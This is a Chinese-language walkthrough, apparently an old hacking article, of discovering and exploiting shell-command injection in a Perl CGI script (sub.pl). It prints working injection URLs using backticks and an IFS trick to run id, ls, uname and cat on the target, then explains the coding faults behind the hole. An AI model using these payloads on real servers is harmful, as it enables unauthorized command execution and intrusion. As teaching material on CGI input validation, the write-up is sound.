http://victim.net/cgi-bin/home/news/sub.pl?12

　　不出所料,CGI运行出错了:

　　/home1/siteadm/cgi-bin/home/news/log/12/*.*: 无此文件或目录

　　这个CGI真是太老实了,它至少告诉了我们两件事情:一 CGI目录的绝对路径. 二 我们输入参数的作用,sub.pl的参数是在脚本中作为目录名.这些发现一下子把我兴趣提了起来,再试试不同的参数说不定有更大的发现,经过N次的试验,得到的出错信息大同小异,值到第N+1次请求:

　　http://victim.net/cgi-bin/home/news/sub.pl?&

　　服务器的返回信息有些不一样了:

　　sh: /WS_FTP95.exe: 不能执行

　　注意到了前面的"sh:"了吗?哈!,熟悉UNIX的朋友应该知道,这可是只有在shell试图运行某个程序出错时才会出现的错误信息.看起来shell在试图运行什么程序,而重要的是我们能够影响它!怎样去进一步的影响它呢?反引号"`",绝对是值得一试的:

　　http://victim.net/cgi-bin/home/news/sub.pl?`ls`

　　服务器返回了奇怪的信息:

　　/home1/siteadm/cgi-bin/home/news/log/315: 无此文件或目录，"315"是什么东西?

　　再试:

　　http://victim.net/cgi-bin/home/news/sub.pl?`id`

　　这次返回的信息令我大吃一惊:

　　/home1/siteadm/cgi-bin/home/news/log/uid=999(siteadm): 无此文件或目录 gid=999(ne

　　tsite)/*.*: 无此文件或目?

　　很显然,服务器运行了id,我们能利用sub.pl运行shell命令了!刚

　　才的ls命令也肯定运行了,"315"一定是当前CGI目录下的子目录.

　　让我们来列一下服务器根目录吧:

　　http://victim.net/cgi-bin/home/news/sub.pl?`ls%20/`

　　没成功:

　　sh: ls%20/: 没找到

　　看来,sub.pl没有把"%20"解码成空格的习惯 :( 如何绕过这个限制呢?相信你现在也已经想到了,还得靠我们的IFS变量, 用它来指定shell分界符.试一下:

　　http://victim.net/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`

　　服务器的回应:

　　/home1/siteadm/cgi-bin/home/news/log/SunOS: 无此文件或目录 victim.net: 无此文件或目录 5.5.1: 无此文件或目录 Generic_103640-27: 无此文件或目录 sun4u: 无此文件或目录 sparc: 无此文件或目录 SUNW,Ultra-2/*.*: 无此文件或目录。成功了!现在我们差不多有了shell访问权限,对SunOS这样的系统,拿到root只是时间问题了.没有必要再继续下去,我不想搞破坏,对sub.pl

　　瞎子摸象式的攻击已经给了我足够的乐趣. :) 当然我还有兴趣看看问题到底出在哪,把sub.pl弄下来看看:

　　当然这还得靠sub.pl :)

　　http://victim.net/cgi-bin/home/news/sub.pl?`cat<'/home1/siteadm/cgi-bin/home/new

　　s/sub.pl'`

　　输出结果太乱,就不列在这儿了.

　　经过整理后的sub.pl中的片断:

　　#!/usr/gnu/bin/perl

　　require "common.pl";

　　#($type) = split(//,$ENV{'QUERY_STRING'});

　　$type1=$ENV{'QUERY_STRING'};

　　$tdbg="#FF9900";

　　&parse_form;

　　if ($FORM{'command'} eq 'search'){

　　#if ($FORM{'newstype'} ne 'newstype'){ $type1=$FORM{'newstype'};}

　　#}

　　if ($type1 eq"so") {$tdbg="#0099CC";}

　　if ($type1 eq"in") {$tdbg="#71B8FF";}

　　if ($type1 eq"fu") {$tdbg="#CE9ECD";}

　　if ($type1 eq"sp") {$tdbg="#CCCCFF";}

　　if ($type1 eq"te") {$tdbg="#FF91FC";}

　　if ($type1 eq"fi") {$tdbg="#ffb3b3";}

　　if ($type1 eq"it") {$tdbg="#FFDE01";}

　　if ($type1 eq"") {$type1="it";} open (FILE, "$cgipath/$type") 　　 &error("Unable

　　to open $cgipath/$pwd");

　　@main1= ; close (FILE); foreach $line1(@main1)

　　{

　　chop($line1);

　　($type2,$name1)=split(//,$line1);

　　if ($type2 eq $type1) {$name=$name1;}

　　}

　　$sublog=$type1;

　　print "Content-type text/html nn";

　　if ($FORM{'command'} eq 'searchdate'){

　　$sublog="$type1/$FORM{'mmdd'}.txt";}

　　open(FILE,"$path_log/$sublog") 　　 die("Unable to write to $path_log/$file");

　　@main = ;

　　close(FILE);

　　#&newshead($name,"1");

　　.

　　$data_path1="$data_path/$type1";

　　$search_data = `ls $data_path1/*.*`; <--------看来,就是死在这了 :)

　　$search_data =~ s/$data_path1　.txt　///g;

　　.

　　结论:对于编写很差的CGI程序,通过封闭源码的办法很多时候并不能躲过被黑客利用的命运,黑客可以通过向它发送许多出人意料的请求,分析它的回应猜测出程序的结构和可能存在的弱点从而利用之.上面的这个sub.pl例子,至少犯了三个错误:1.没有对用户输入进行检查.2.在脚本中直接调用shell,3. 没有什么错误处理机制. 只要它在3点中的一点有所加强,将大大增加黑客入侵的难度.还想说的是,国内外通过CGI漏洞入侵的例子并不少见,据说,ADM就是利用第三方的CGI程序的漏洞黑了著名的hack站点anticode,Antionline变成了 ADMonline :).